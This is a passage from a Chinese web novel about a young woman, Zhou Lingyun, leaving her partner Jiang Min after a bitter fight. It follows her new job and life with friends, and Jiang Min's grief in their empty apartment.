忍无可忍,周灵蕴崩溃泪流。 “姜悯,你赶我走,我那样求你了,你还是要赶我走。你真的很过分,你对我很过分。你知道我无家可归的,我没有家,老家房子几年前下雨被冲塌了,你亲眼所见……” “你知道我没有家,你跟我说,你的家就是我的家,你还记得自己说过的话吗?你记得你当然记得,你也知道‘家’这个词对我来说究竟意味着什么,你太知道了,你太知道怎么拿捏我。” “你就欺负我,你只会欺负我,把你所有的坏脾气都发泄到我身上……” 胸腔剧烈跌宕几下,眼泪彻底模糊视线,周灵蕴手揪住身前的外套拉链,手指用力到发痛。 “你可以不认我,觉得我年纪小,配不上你的大老板身份,担心别人异样的眼光,或者你还是放不下她,那个人……你可以打我骂我,对我发脾气,怎么样都没关系,我都可以忍,可以说服自己,你是有苦衷的。” 用力摇头,眼泪成海,周灵蕴喉咙里发出持续不断的,绝望的呜咽声。 “你知道我最害怕的就是奶奶生病。我没有家人了,奶奶百年以后,我就真成孤儿了。你知道我心里有多害怕,你一面说,‘你还有我,我不单是你的爱人,也是你的亲人’,你说你要管我一辈子,一面却这样粗暴对待我……我真的没办法说服自己原谅。” 房子满地狼藉,周灵蕴看到了,在她离开之后,姜悯发生了什么。 可那又如何,这些都跟她没有关系了。 “即便如此,你还有自己的房子,还有谷阿姨和姜叔叔,你甚至有猫。可我呢?被扫地出门的我,还有什么呢?” 周灵蕴轻轻摇头,退后。 “周灵蕴!”姜悯忽而发出一声凄厉呼喊。 她裹着毛毯从沙发摔倒,膝盖“咚”一声闷响砸在地砖。顾不得体面,她意识到,周灵蕴这次是真的要走了。 “你回来!你给我回来!” “你尽管砸吧,这次我不会再帮你收拾了。” 该说的都说了。周灵蕴这次来,只为把没说的话说完。 话毕,她毫不犹豫转身离去,在姜悯声嘶力竭的呼喊声中,用力甩上大门—— 作者有话说:写爽了 第99章 她足够幸运了,不是吗?…… 克制了又克制, 夺门而出时那“砰”的一声巨响,不止是对姜悯近来恶劣行径的愤懑。 周灵蕴憋不住眼泪了。 逃进狭小的电梯轿厢,四周金属壁冷冷映照出她狼狈身影, 她终于可以张开嘴放声大哭,将所有委屈痛苦嚎啕出来。 可怎么回事?声音冲出喉咙却变成了破碎的呜咽, 她横起手臂, 整张脸死埋进卫衣袖管,把那些不堪的哭声尽数闷了回去。 怎么回事, 人长大以后,竟连痛哭的权利都被剥夺。 怕丢脸,怕被听见,打扰了这个世界井井有条的沉默。 小时候多好, 教室里,田坎边,哭还挑地方呢?甭管谁家屋檐底下,一屁股坐下就能哭得地动山摇,哪在乎旁人眼光。 电梯数字缓慢跳动, 周灵蕴从未觉得它下降得如此之慢, 慢到令人窒息。 她像一条决绝跳出了鱼缸的鱼。 那个鱼缸曾是她的全世界, 水质恒温, 光线明亮,配置齐全。可鱼缸对她来说真的太小了,她每天都在长大。 水面下徘徊到厌倦, 她最终鼓起勇气一跃而出,逃离了赖以生存的环境,此刻如愿以偿躺在地板,拼命呼吸, 摆动身体,体验自由带来的强烈濒死感。 后悔吗?当然有。双眼因泪水冲刷和情绪的耗尽而变得迟滞,她仰望着紧闭的电梯门,如同鱼儿仰望高位处通明的鱼缸,她回不去了。 鱼缸里的水早已不适合她生存。 或许,她可以长出一双脚来,学着走路,走出电梯,走出小区,走进马路对面那条河,顺着河水游到真正浩瀚的海里去。 电梯门“叮”一声,打开,涌入凌晨冰冷潮湿的空气。 拖着沉重的步子走出单元大门,周灵蕴漫无目在小区晃荡,最终在儿童滑梯旁的一张红色塑料板凳上坐下。 环顾四周,只有路灯投下的一片昏黄孤寂的光,整个世界都在沉睡。 现在太早了,天空是浓重的墨蓝,距离天亮还有很久。 她不能回蛋挞家,现在去敲门,扰人清梦不说,紧接着必然是一连串的关切和她无力承受的盘问。 她无法再复述一遍自己的狼狈。 只能等,等东方的天一点点泛出鱼肚白,等早起的鸟儿啼叫,等小区的保洁阿姨开始打扫。 她要等到一个足够正常的时间,再去楼下的早餐店买上三人份的豆浆油条,然后若无其事搭电梯上楼,对着睡眼惺忪的蛋挞也可能是梦真笑着说“早上好呀,我买了吃的”。 再然后,她需要睡眠,一个小时就够了,八点她必须起床,洗漱换衣,打起全部精神,赶到跟赵圆约好的奶茶店。 今天是她第一天上班,不能迟到。 也许忙起来就好了,就什么都不想了,也不难过了。 会好的,一切都会好的,周灵蕴告诉自己。 但此刻,她只能蜷缩在长椅上抱紧自己,抵御着凌晨的寒意和内心阵阵翻涌的荒凉,默然等待天明。 周灵蕴设想过很多种可能。 蛋挞来开门,逮住她大骂,说你干嘛呢,犯贱有瘾啊…… 当然她不会解释,骂就骂吧。 如果是梦真,情况要好很多,梦真讲话从来轻声细语,她也许什么都不会说,只轻轻摇头叹息一声,随后把她迎进屋里去。 但以上都没有。 门开着,门底下卡了只拖鞋。 周灵蕴出姜悯家小区之后就没哭了,再次落泪,是此刻。 她们知道她出去了,她们不知道她还会不会回来,但如果回来,她不会被拒之门外。 周灵蕴轻轻拉开门,站在门口竖起耳朵听屋里的动静,卫生间方向静悄悄的,蛋挞的卧室门紧闭。 都还没起。 并未出声打扰,合拢门,周灵蕴把早餐放在餐桌,脱下外衣爬到床上去。 外头响起细微马桶冲水声时,周灵蕴睁开眼睛坐起来。她完全没睡着,只是强迫自己闭上眼睛休息,现在时间差不多了,该起了。 “蕴蕴。”卫生间门前,梦真拉着周灵蕴手说话,“你出去了。” 周灵蕴点头。 “我担心你,半夜起来看,发现你不在,我就知道……” 梦真叹气,比周灵蕴矮了半个多脑袋,伸手努力抚摸她后脑勺的姿势看起来有点滑稽,“那怎么不多睡会儿?” “要去打工了。”周灵蕴弯腰,方便她。 没忍住,梦真“噗呲”笑出声,轻轻打了下她后背,“还去打工啊,都这样了。” 周灵蕴没说太多,只语气坚定说“要的”。 要独立,要长大,要赚钱。 瘪嘴,梦真点头表示理解,“那你去吧,我去帮你拖着点她,不然她一会儿出来,你估计是去不成。” 周灵蕴点点头进了卫生间。 奶茶店在姜悯和赵圆表姐家中间位置,周灵蕴和赵圆地铁通勤时间平等,半小时。但周灵蕴现在不住姜悯家了。 半夜打车过去跟姜悯吵架的路上,周灵蕴也没闲着,她重新规划了自己的通勤路线,并设置包含了洗漱时间的起床闹钟…… 总之,她做事一向有条理,即便生活全线崩溃,也不耽误她摇奶茶。 什么是真正的崩溃呢?周灵蕴认为没有。 只要还活着。饿了去吃饭,困了就睡觉,衣服脏了洗,没钱自己挣,就这么简单。 跟赵圆在约好的地方碰面,女生细心,一眼看出她昨晚睡眠质量不佳,“你失眠了?是因为第一天打工,紧张吗?” 周灵蕴强牵起嘴角笑一下,没有解释。 赵圆给她递来个卤蛋,“我家楼下买的,卤煮特别入味,你尝尝。我不知道你有没有吃早餐,不敢带太多。” 周灵蕴没什么胃口,但第一天上班,她必须保证自己拥有一个良好的精神和身体状态。 道了声谢,她边往店里走,边隔着塑料袋剥蛋壳。 冷透的卤蛋塞进嘴里,她胃里一阵缩,有点犯恶心,是她自己的原因。 她面上仍体贴,笑着跟女生说“很好吃”。 隐藏、压抑自己的真实感受,逢迎讨好,周灵蕴做惯了的。 奶茶店的工作强度跟胜利茶厂相比,十星最多五星,周灵蕴适应得很好。店长是赵圆以前的同事,女孩子,人蛮好,看周灵蕴一直打哈欠,问她要不要喝咖啡,给她做了杯。 店内工作氛围轻松,几人有说有笑,集体中周灵蕴没空也不想去悲伤了。 看吧,很容易的,去做就好了。 周灵蕴唯一后悔的事,是当时没加舒颖微信。 她想跟舒姐姐好好道声谢。 出乎意料,午休时间,她接到陌生电话,竟真是舒颖打来的。 “能听出来我的声音吗?” 周灵蕴起先没听出来,但她够聪明,“舒姐姐?是姜老板让你来劝我吗?” “舒姐姐?”舒颖“哈哈”两声,“现在变姐姐了,不是老鸡婆了?” 天呐! “天地良心,我从来没喊过你老鸡婆。”周灵蕴坐在商场对面一家馄饨店,她是最后一个换出来吃饭的,店长说慢慢吃,今天不忙。 舒颖问那你从前都喊的什么,“老阿姨?” 周灵蕴“呃”一声。 舒颖知道猜中,轻笑两声,表示没关系,转而询问她现在情况。 周灵蕴简单概括,最后总结:“我已经在上班了”。 “我猜到了,所以专门挑的午休时间。”舒颖沉默两秒,“很累吧?” 周灵蕴挺直脊背,认真感受片刻,自顾摇头说还好,“我喝了杯咖啡。” 舒颖不由发出一声哀嚎,“年轻就是好啊!我也喝了咖啡,但效果微乎其微。” “所以你是来劝我回去的吗?”周灵蕴终于把话题引入正轨。 “其实不是,我跟她关系一般。”舒颖说完自己乐了,“哈哈”笑不停,“我幸灾乐祸呢。” 周灵蕴扶额。小馄饨端上来,她道声谢,碗面葱花搅拌开,先往嘴里送了勺汤。 福建千里香,味道挺鲜,只是肉少皮多,开店三十年猪只受了皮外伤。 “有钱花吧?”舒颖确实是来送温暖的。 “住宿吃饭啥的,住朋友家,必要的人情往来也少不了吧?” “姜老板给过我很多钱,我都存着,我现在确实没办法完全独立,我可能还要考研……” 钱是周灵蕴的软肋。话至此,她卡了下。 她不知道自己什么时候才能真正独立,她刚成年。 “总之,我会还的。” “姜悯没有让我来催你,我也没有催你,钱是她最不看重的东西,你能明白吗?她只是以此为借口,因为她只能用这个拿住你。” 舒颖的意思是,“你没钱可以跟我借,我们打欠条,以后还我就是。” 周灵蕴明白了,“谢谢舒姐姐。” 舒颖“嗯”了声,“不用谢,以后不要再叫我老鸡婆就好。” 周灵蕴冤枉,“我真没叫过你老鸡婆!” 舒颖说知道,“开个玩笑,缓和气氛,高情商懂吗?” 好好好。周灵蕴受教点头。 挂断电话,回到店里,周灵蕴系上围裙开始摇奶茶。 一整个下午,她都在重复这个动作。 摇匀,封口,贴上标签。 也有过几次眼热,把一盎司的糖浆倒进奶茶杯的时候,打小料的时候,清洗用具的时候,想起之前,她试图通过玩笑告知——摇一个暑假奶茶,我的胳膊会更有力气哦!嘻嘻,你是害怕还是期待呢? 但最终只停留在“试图”。 她们之间,好像没有正式说分手。 周灵蕴不知道以后会怎样,她们也许只是短暂分开,冷却一下灼痛的伤口,也许是永远的告别,就此走向不同的方向…… 但此刻,周灵蕴低头站在操作台前,听到冰块撞击杯壁时发出的清脆声响,发现自己并没有想象中那么难捱。 那姜悯呢? 周灵蕴还不能做到完全不去想她,心底某个角落爱意仍未熄灭,似风中残烛,微弱而固执亮着。 只是那爱早已被太多的委屈、争执,不安和尖锐的痛楚覆盖,重得让她喘不过气。 每一次靠近,换来的都是更深的伤口。 每一次期待,等到的都是怅然落空。 那份炽热的情感,如今只剩下绵长钝重的疲倦,还有看不到出路的茫然。 姜悯。她仍然爱她,只是这份爱里,掺杂太多酸苦,早已失去了最初的纯粹和欢愉。 周灵蕴下班,在地铁站跟赵圆分别,女生发现她们不是按照原计划坐同一趟车,几次欲言又止,最终沉默,跟随人流涌进车门前,转身挥手拜拜,“明天见。” “明天见。”周灵蕴微笑。 等到自己的车,中途收到梦真消息,说让她在楼下买一块钱的小葱,周灵蕴回复后将手机熄屏揣进裤兜,很庆幸能在晚高峰捡到位置,坐下闭目休息。 她足够幸运了,不是吗?—— 作者有话说:第99章 ,虽然蕴子分手了,但咕咕还是祝大家有情人终成眷属,哈哈—— 好烂的祝福! 第100章 接受现实 周灵蕴走出地铁闸机, 通道中还未踏上出口台阶,便听到外间传来的淅沥雨声,空气中弥漫着一股夏日雨天独有的潮湿尘土气。 人被雨困住, 通道口略显拥挤,穿白T的男青年在卖伞, 胸前反挂一个鼓囊的黑书包, 眼神游移,强装镇定, 鼓足勇气向每一个路过的人低声吆喝:“雨伞,十块钱一把。” 他声音发颤,嘈杂的人流中略显微弱,显然是初次做这营生, 被街市口的喧闹和人群盯得有些难为情。 瞧她面善,男青年径直走到她面前,眼神透露出一点微妙的年龄差距上的霸凌感,“小妹妹买把伞不。” 周灵蕴一直不太懂得如何拒绝别人,她有时也觉得自己过盛的服务意识和共情力已经成为负担。 因为买伞这事, 姜悯说过她不止一次。 说家里已经堆了一摞伞了, 还尽都是些品质低劣, 丑不忍视的蓝格子, 姜悯说她不能理解。 ——“你书包里明明就有伞。” 书包里并不是每一次都有伞,但这种情况确实存在过。 她不好意思把书包里的伞掏出来,她花十块钱买了一把自己并不需要的伞, 只是因为没办法拒绝别人渴望的目光。 她内心谴责过自己。周灵蕴,你也是过上好日子,有钱了,十块钱说扔就扔了。 继而, 更多类似的记忆碎片涌现。 在火车站被“聋哑人”拉着扫码献爱心;被路边搞推销的拦下,对方不由分说往她衣服上喷清洁剂;甚至有一次,那人干脆利落脱了她的鞋抱怀里猛擦…… 太多这样令人哭笑不得,无法脱身的瞬间。 卖伞的男青年从书包里掏出一把粉格子,递到她眼前,“这个颜色喜欢不?小姑娘们都喜欢的嘛。” 奇怪,却在这瞬间,周灵蕴嘴巴张开了,手伸出去了,果断撕碎扭捏,说“谢谢不用”,并拂开他手,转身毫不犹豫走进雨幕。 原来拒绝并没有想象中那么难。 走在茫白的大雨里,她感到一种粗糙的,沾着泥腥味的勇气,正从她被雨水打湿的皮肤下悄然生长。 地铁口这片区域,好些搭棚的小贩,竟不见城管来赶,是这地段管理疏松,还是生活艰辛换来的一点默许? 冒雨穿梭在人堆,周灵蕴恍然意识到,这座城市并非只有一栋栋拔地而起,玻璃幕墙白亮耀眼的摩天大楼。 它的基底,是铺在麻布口袋上,被雨溅湿的青椒白菜,是烤面筋小摊升起的带着孜然味的蓝紫色烟气,还有水果摊上,小碗里削好的白胖的马蹄…… 雨打湿了头发和肩膀,凉意扩散,周灵蕴感到一种奇异的清醒。 老太太摊位前买了把葱,开电动三轮的老汉那挑了几根玉米,最后是中年女人刚削好扔盐水桶里的菠萝。 周灵蕴拎着塑料袋冒雨往前走,想起小时候跟奶奶在镇上赶大集,她发现自己果然还是更喜欢这种,能闻到泥土味,能触摸到生活真实纹理的,能落地的日子。 姜悯有句话说得没错。 她就是个乡下妹。 住在蛋挞家,让周灵蕴感到一丝轻松的是她暂时不用操心做饭。 梦真揽下活计,她现在是蛋挞的工作兼生活助理,跟着蛋挞干了半年多,把一切打理得井井有条。 蛋挞在卫生间洗澡,她吃完饭就得准备妆造开直播。 周灵蕴和梦真坐在餐桌边剥玉米粒,梦真说这玉米更适合炒着吃,剁点青椒和肉沫一起,比水煮香。 周灵蕴洗过澡了,穿着干净的居家服。梦真细心,担心她着凉,特意给她冲了杯感冒灵,搁桌上晾着,叮嘱她饭后喝。 周灵蕴这才有空细细问起梦真近况,“怎么想到来跟蛋挞做自媒体。” 在玉米清甜的气味里低头笑笑,梦真说就年前的事。 她有绘画天赋,出来以后,在厂里做流水线也没丢下爱好,省吃俭用攒钱去画室上了段时间素描课,后来又在网上自学设计软件。 “年前那家公司倒闭了,我在老家镇上遇见蛋挞,闲聊说起这些,她就问我愿不愿意来帮她修图,运营账号。” 周灵蕴“嗯”了一声,眼神鼓励她继续。 “我想,好啊,我愿意试试,也对她的工作挺好奇的,就答应了。” 玉米剥完,梦真端起篓子走进厨房,掰开水龙头冲洗。 周灵蕴自觉跟进去择小葱,“然后呢?” “然后……就是你现在看到的这样。”梦真把沥干水的玉米粒倒进碗里。 周灵蕴点头,洗净切好的葱花装碟,半晌才想起来,“对了,小哑巴呢?” 梦真张了张嘴,没发出声音。 “小哑巴去哪里了?”周灵蕴又问了一遍。 “她们……分手了。”梦真这才低声说。 “为什么。”周灵蕴不解,眉头微蹙,“怎么会分手?到底发生什么了?” “我那个东西……”梦真含糊咕哝了句不着边际的话,转身走开了。 周灵蕴抬头看向她仓促背影,觉得哪里怪怪的。 直到三人围坐在餐桌边,蛋挞蹲椅子上啃梦真做的卤鸭掌,周灵蕴第三次问起小哑巴时,蛋挞终于开口,说“分了”。 “我知道分了,我是问为什么分的。”周灵蕴对这件事格外上心。 蛋挞耸肩,语气平淡,“没感情了呗。” “早就耗没了,甚至可能一开始就没多少感情,只是两个身世可怜的家伙,碰巧凑在一起取暖。” “没感情?”周灵蕴试图探究更深层的原因,“是小哑巴外面有人了?他是不是出轨了。” 蛋挞沉默。 梦真在旁碎碎念,“我去舀点鸭掌过来,锅里不少,还有鹌鹑蛋……” 气氛古怪,周灵蕴更要刨根问底,“小哑巴是不是出轨了。”她语气变得肯定。 蛋挞依旧沉默。 “那他肯定是出轨了!”周灵蕴不由握拳。 “这人怎么这样!太过分了!”她说着掏出手机,“我得问问他,到底怎么回事。” 蛋挞抬起头,湿纸巾慢条斯理擦手,“周灵蕴。” 周灵蕴头也没抬,“嗯,等一下。” “如果他真的出轨了,你会怎么样?”蛋挞问。 周灵蕴想也没想,“我会把他叫出来,找个没人的地方揍一顿。” 话至此,她更确信小哑巴出轨,“我一定要揍他,一定。你等着看吧。” 梦真端着碗回来,坐到蛋挞旁边。 蛋挞继续啃鸭掌,调子慢吞吞,“好吧实话告诉你,其实是我出轨了。” “果然如此。”周灵蕴还没反应过来,手指屏幕上滑,找小哑巴的微信。 “是我出轨了。”蛋挞依旧是那副没睡醒的懒散样子, “他没出轨。是我,我精神出轨。” 梦真舀了一勺玉米粒盖在米饭,埋头大口往嘴里刨。 周灵蕴抬头,半张嘴,稍花了一点时间理清反转。 她把手机倒在桌面,眯眼盯了会儿面前几盘菜,半晌抬手抓抓耳朵,声音低下去,“那也是情有可原。” 蛋挞弯起眼睛笑,一条腿落在地上,另一条腿踩在椅子边沿。 她身体微微后仰,靠在椅背,“没事,你尽管发表看法,我不会赶你走的。除非……你觉得跟我这种人没办法在同一个屋檐下生活。” 周灵蕴认真思索片刻,又抓了抓自己的脑门,最终语气肯定说“这真没什么”。 “我说真的,情有可原。你那么做,必然有你自己的理由和处境。而且,谁说女人就不能出轨了?再说,你只是精神出轨,精神出轨算什么出轨嘛……” “那如果我说,别的也有呢?”蛋挞笑盈盈看着她。 周灵蕴“啊”一声,目光在对面两人之间来回扫视,“你俩……睡了?” 蛋挞含糊“嗯”了声,也不知道是承认还是别的什么意思。 周灵蕴追问什么时候的事,蛋挞鬼兮兮眼珠一转,报了个大概的时间。 周灵蕴闭上眼睛,胸口一阵气闷。 倒不是因为蛋挞说自己出轨,而是她们竟将这样重要的事情瞒了她那么久。 她想起上次聚会,唯独小哑巴不在,蛋挞和梦真在KTV包房手拉手唱歌,她一点端倪没看出来,这两个王八蛋竟也真能瞒得滴水不漏! 她跟万玉还傻乎乎在下面打拍子。 没追问更多细节,周灵蕴只觉物非人非,心中怅惘,“曾经我以为你们会永远在一起。” “曾经,我也是这么以为你和姜悯的。”蛋挞平静回道。 但事情就是发生了。 毫无预兆,似又蓄谋已久。 周灵蕴默默把蛋挞吃完的鸭骨头收进垃圾桶,然后拦住要去洗碗的梦真,“别跟我抢,否则自杀。” 梦真果然被吓到,“好好好,你洗,以后碗都归你洗,千万别想不开。” 周灵蕴没忍住笑。 她想起跟姜悯坐车走的那天,梦真带着自己蒸的几个肉包子,牵着妹妹在路边送她。 其实那天梦真还亲了她一下,大姐姐式的吻落在她额头。 “蕴蕴,我真为你高兴。” 周灵蕴转过头,看着正在擦桌子的梦真,很轻也很认真地说:“你们在一起,挺好的。” 她顿了顿,声音更柔和了些,“我也为你们高兴。” 离开姜悯家,不到二十四小时,周灵蕴在火速铺开自己新生活画卷的同时,也似被一股无形的力量推动着,被迫学习接受了太多事物。 她学会接受自己的抵抗情绪,接受现实,接受世界的参差,接受人与物不可阻挡的变迁。 这过程滋味涩口,像生吞下一颗未熟的野果,酸苦之后,竟也能品出一丝回甘。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 自我惩罚 周五, 晚九点,终于结束一天的工作。 挪动着疲惫酸胀的双腿,迈出电梯, 在外强装了整日的体面皮囊瞬间泄气,踢掉高跟鞋, 双脚得到解放, 装进宽松舒适的居家凉拖,姜悯手撑在鞋柜缓了半分钟, 才慢吞吞挪到家门口。 指纹识别面板发出微弱蓝光,“嘀”一声轻响,门启。 她刚推开一道缝,门内等候已久的猫二脑袋迫不及待挤出来, 毛茸茸的小身子紧跟着蹭上她脚踝,“喵呜喵呜”叫。 被独留在家的猫咪好寂寞,监控里能看到它几乎整天蹲躺在门前,现在终于把人盼回来。亮出毛乎乎的小肚皮,猫咪满地打滚, 肉墩的, 地板上摔得咚咚响。 姜悯抬手按下开关, 顶灯骤然大亮, 刺目光线瞬间驱散所有昏暗,也将这个空荡荡冷清清的家毫无保留呈现在她眼前。 整整一周。 被摔碎的茶杯碎片仍四散在地板,裂断面是心上纵横的伤, 至今不能愈合。 旁边是同样粉身碎骨的花瓶,玫瑰早已凋零腐败,蜷缩成褐色,脆弱的一团, 空气中弥漫着植物腐烂时独有的酸苦味道。 过去七天,这个家似乎被按下暂停键,固执维持着周灵蕴离开时风暴掀起的狼藉与混乱。 起初的两三天,姜悯根本没踏出过家门。 她像一具被抽走灵魂的躯壳,蜷缩在残留着周灵蕴气味的床上,任由窗外日升月落,直到助理电话再三打来,焦灼催促着那些无法继续拖延的工作事项,她才不得不勉强收拾起自己,挪动锈钝的四肢爬出废墟。 从此,她过上了昼夜割裂的生活。 白日在外强撑着扮演“姜总”,晚上一回到家,立刻被打回原形,脱下画皮,是披头散发,面目狰狞的女鬼。 家里的一切她都无心整理,除了给猫二添粮换水,以及维持自己基本个人卫生外,其余一切她都放任自流。 这满地狼藉大概是她无言的自我惩罚,似乎唯有沉浸在眼前的不堪,才能抵消部分那日的不可理喻。 姜悯不常流泪。 率先作恶,出口伤人的一方,又有什么资格哭呢?心中翻涌的,更多是黑色黏稠的恐惧。 她害怕周灵蕴真就此一去不返。 习惯是一种可怕的瘾,戒断反应带来的空虚几乎让她夜不能寐,无数次,脸埋进带有周灵蕴味道的软枕,姜悯仍抱有侥幸——也许周灵蕴过不了几天就会回来。 就像以前,无数次,她们闹别扭。 姜悯甚至阴暗想过,周灵蕴回来看到这个没有了她之后,变得多么糟糕混乱的家,看看这个离了她就活得如此不堪的自己,也许…… 会心软。 看吧,周灵蕴,你看看吧。 离了你,我怎么活啊。 没有展开任何自救行动,关闭大灯,等待双眼重新适应黑暗,姜悯挪去卫生间,清洗过自己后来到周灵蕴房间,赤身躺到她的床上,钻进她的被窝。 电梯厅没被周灵蕴带走的鲨鱼玩偶最后被姜悯捡回来,洗净烘干,此刻夹在她双腿之间。 往常她们躺在床上的时候,姜悯就是这么抱着她的。 手脚并用,紧紧夹住。 “真会夹。”周灵蕴也会说荤话。 她闷头笑,然后轻轻打她一下,“那人家喜欢你嘛。” “我知道呀,没不让你夹,陈述事实。”周灵蕴双手交握平置在小腹,装得一本正经。 她不满,要抱,要求说“你搂着我”。 周灵蕴偏不,借口手麻,“我现在就像屋檐角挂在蛛网上的小虫子,被你的蛛丝包裹,被你的毒液麻痹,坐以待毙,只能被你吸光光了。” “吸光?”她总联想到颜色,“不是你吸我比较多吗?水都被你吸干了。” 周灵蕴大笑,“什么啊!” 随即认真科普,“蜘蛛的毒液麻痹猎物,然后用它的螯肢刺穿猎物,并注入消化酶,使猎物身体化水,再通过口器吸食……哎呀真是,人家说正经的。” 她意味深长“嗷”一声,“那很会吸了。懂这么多,回头写篇论文,标题都帮你想好,《女同性恋床战与仿生学》,就写你是怎么跟蜘蛛学吸女人的。” “哎呀——”周灵蕴说不过,每次都被说得脸红红害羞不已。 然后她们会开始做。周灵蕴做方面比说厉害得多。 打住,姜悯脸埋进被窝。回忆片片凌迟,痛彻心腑。 接到舒颖电话,是半小时后。 “姜老板,最近如何,还顶得住吗?” “周灵蕴还会回来吗?”姜悯哑着嗓,首次向外寻求帮助。 “你需要我吗?”舒颖只问道。 沉默良久,姜悯重而缓点头,“需要。” 舒颖叹气,“有什么想吃的?” 姜悯摸摸肚子,“好像没什么胃口。” 舒颖来的时候还是从夜市打包了两份蒜香小龙虾,“多吃点蒜,能让你开心起来,反正现在也没人跟你亲嘴了。” 姜悯苦笑。 跟外卖的啤酒饮料同时抵达姜悯住处,密码开门,门开的瞬间,舒颖下意识屏住呼吸。 她打开灯,快速扫了眼屋内,景象比她预想的还要糟糕。 脏乱只是一方面,她通过场景,脑中迅速还原当时。那必然是一场浩大的风暴。 而姜悯,劫后余生的主人显然放弃了任何重建的打算,她从卧室走来,身上还光着,忘了穿衣,头发也乱蓬蓬。 幸而外卖员早就离开,舒颖“嘶”一声,回头关上门,“可惜了,你不是我的菜。” “你来了啊。”姜悯抓抓脑袋,还没反应过来,“什么菜,不是小龙虾吗?” 舒颖淡淡一笑,打包盒拎去茶几,“你镜子里看看自己。” “我的样子很糟糕吗?”姜悯不解。 她没觉得自己有多颓,“我白天有上班,回来也洗澡了。” 舒颖拎着垃圾桶捡地上的陶瓷片,“你去看看不就知道了。” 姜悯挪去镜柜前。 舒颖如愿以偿收获她震惊尖叫。 穿戴整齐,姜悯返回客厅,重重摔倒在沙发,“让您见笑了。” 洗地机清洁过地面,洗净双手回到茶几,舒颖挨在姜悯身边坐下,“我刚分手那阵子,也没比你好到哪里去,只是我从小家穷,没有摔砸东西的习惯。” “我也只摔了花瓶。”姜悯为自己辩解。周灵蕴好节俭,她不想被真正讨厌。 舒颖找到电视遥控器,按下开关,找了个最近热播的综艺。 喧哗笑闹声搭配活泼效果音,注入这片冷寂的空间,舒颖随后打开外卖盒,让辛辣霸道的咸香味扩散开,混合着啤酒的麦芽香气,将房中连日徘徊的沉郁气息彻底清洗。 “过来,趁热吃。” 姜悯很久没正经吃过一顿饱饭了。 她常感到饥饿但毫无胃口,过去几天,白日全靠咖啡续命,极少的食物维持生命体征,晚上到家,电量耗尽直接关机。 此刻,热辣的食物,冰凉的啤酒,以及朋友无声的陪伴,组合成一张临时的保护罩,将那些刻骨的伤痛和噬人的寂寞稍稍隔绝在外。 姜悯起先只是机械剥虾喝酒,跟着电视里僵板的罐头笑摇头晃脑傻乐。 几听啤酒下肚,那层强撑的硬壳泡软,笑着笑着,她嘴角垮下来,眼眶泛起红,眼泪大颗大颗砸进手里油汪汪的一次性餐盒。 舒颖“欸”一声。姜悯丢开虾壳,一脑袋扎她怀里,紧紧抱住她。 压抑多日的情绪终于决堤,姜悯哭得浑身发热,满是油渍的嘴巴毫无顾忌沾蹭舒颖外套。 “我错了,周灵蕴,呜呜,你回来吧,我知道错了,我再也不敢了。” “这位大姐,我西装很贵的……” 舒颖双手高举,长叹一声。 她摘下手套,没推开,干净的手腕降落在姜悯后背,来回抚动,任凭她的眼泪和油污弄脏衣服。 她安静聆听,直到姜悯哭声渐渐变成低低的抽噎。 “好了,好了——”舒颖拍拍怀里哭得一塌糊涂的家伙,“下次当面说吧。当着周灵蕴的面好好道个歉,真心实意说给她听。” 姜悯次日中午醒来,宿醉让她的太阳穴阵阵抽痛,她摸索着抓过手机,屏幕亮起,置顶的周灵蕴依旧安静,她点开聊天界面,跟周灵蕴的最后一次对话是九天前,周灵蕴问她想不想吃干蒸排骨…… 返回主页面,小红点是舒颖,姜悯点开,里面有段视频。 画面里的自己把毛毯当披风系在肩膀,站在电视前,举着一只红彤彤的小龙虾,正声嘶力竭高唱《爱情买卖》。 “……” 姜悯闭上双眼,脚趾用力蜷缩起,恨不得原地消失。 她揉着额角走出房间,昨晚还一片狼藉的客厅此刻已然恢复整洁。 地板光洁,杂物被归置得井井有条,所有外卖盒和空酒罐都消失了,阳台窗户大开,初夏微风,暖而不燥,卷走浑浊,只留下阳光晒过的小饼干一样的醇香。 猫二躺在阳台它的软垫上,小爪垫在下巴睡得正香,肚皮随着呼吸轻轻起伏。 姜悯蹲在它面前。 只要你愿意,午后温暖的阳光平等照耀。 太阳像一床小毯暖融融披挂在肩膀,慢慢蒸腾掉骨头里的冷,姜悯安静蹲着,睫毛合拢,盖住眼睛。 所有愤怒、委屈、恐惧、悔恨……退潮后暂离身体,留下一片空旷疲惫的沙滩,唯有海浪沙沙的白噪音耳边回响。 某瞬间,姜悯感到获得认领。认领了过去几日的狼狈,认领了所有错误背后并不完美,甚至有些不堪的自己。 她不再试图逃避或掩饰,此刻真正做到了平静接纳。 接纳她一直不愿承认的,自己恶劣粗鄙的一面,以及作为一名成年人,应承担的一切责任后果。 第102章 她不再是周灵蕴的优先…… 抵抗习惯, 抵抗不适,抵抗分离焦虑。周灵蕴起初以为很难。 在过去,跟姜悯的每一场争执末尾, 她说得最多的一句话,是“我十几岁就到你身边了”。 十四岁, 穿一件洗到发涩的蓝毛衣, 短了小半截露出起球棉袜的牛仔裤,集上三十块钱一双的假匡威, 炸线的红书包…… 绷紧面皮,坐到姜悯的副驾位,努力装作娴熟,她低头给自己系上安全带。 过去几年, 她的世界可以说完全是以姜悯为圆心展开,她的喜怒哀乐,衣食住行,全都紧密围绕着这个人运行。 周灵蕴以为会很难。幸好,她足够年轻, 适应力够强, 生活也从不会真正把人逼入绝境。 她做得很好, 她很忙, 工作外的时间被无数新事物填满。 除了在奶茶店摇雪克杯,她还兼职做起蛋挞的生活助理,她看到另一个光怪陆离又活力十足的世界。 她开始学习拍照和剪辑, 甚至给蛋挞写短视频脚本,巡逻评论区,开小号回怼黑评,统计直播打赏等等。 这些都是她人生中从未有过的体验, 每一次尝试都伴随着生疏的磕绊,却也带来一种前所未有的充实与新奇。像一块干渴的海绵,她急切吸收周围一切养分。 蛋挞租住的房子有个很大的阳台,朝西的户型,没有封窗,每天都能晒到太阳,看到不同颜色和形态的落日。 某天,突发奇想,周灵蕴跟梦真决定在阳台种菜。 她们弄来种植箱,填入松软的营养土,用小耙细细地起垄,再将葱头一排排插进土里,没过几天,竟真看到土壤冒出嫩绿的青茬。 晚上蛋挞结束直播,想吃泡面,周灵蕴就不用满世界找葱,阳台上拔两根,洗净切段撒进面锅。 自己种的小葱,葱味儿很浓,三人围坐在餐桌边,一番商业互捧后,莫名好胜心起,比赛谁嗦面条发出的声音更大,互相溅得满脸汤汁,齐仰脖哈哈大笑。 像回到小时候。 